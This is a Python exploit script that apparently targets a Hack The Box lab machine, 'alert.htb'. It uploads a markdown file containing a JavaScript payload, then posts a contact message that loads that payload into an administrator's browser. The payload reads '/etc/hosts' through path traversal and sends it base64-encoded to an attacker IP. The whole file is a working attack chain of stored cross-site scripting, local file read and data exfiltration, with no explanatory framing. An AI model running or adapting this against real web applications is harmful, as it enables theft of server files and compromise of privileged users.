import os
import sys
import re
import requests
target_url = "http://alert.htb/messages.php?file=../../../../../../../../../../../../etc/hosts"
url_upload = "http://alert.htb:80/visualizer.php"
headers_upload = {
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryXs1NS5MBWtbasWXg"
}
data_upload = "------WebKitFormBoundaryXs1NS5MBWtbasWXg\r\nContent-Disposition: form-data; name=\"file\"; filename=\"message.md\"\r\nContent-Type: text/markdown\r\n\r\n<script>\nfetch('"+target_url+"')\n.then(response => response.text())\n.then(data => {\n fetch(\"http://10.10.14.11/data=\" + btoa(data));\n})\n</script>\n\r\n------WebKitFormBoundaryXs1NS5MBWtbasWXg--\r\n"
response_upload = requests.post(url_upload, headers=headers_upload, data=data_upload)
urls = re.findall(r'http://[^\s"]+', response_upload.text)
if (urls):
print(urls[-1])
else:
exit(1)
url_contact = "http://alert.htb:80/contact.php"
headers_contact = {
"Cache-Control": "max-age=0", "Origin": "http://alert.htb", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "Sec-GPC": "1", "Accept-Language": "en-US,en;q=0.6", "Referer": "http://alert.htb/index.php?page=contact", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
data_contact = {"email": "a@a.com", "message": "test test <script src="+urls[-1]+"></script>"}
response_contact = requests.post(url_contact,headers=headers_contact, data=data_contact)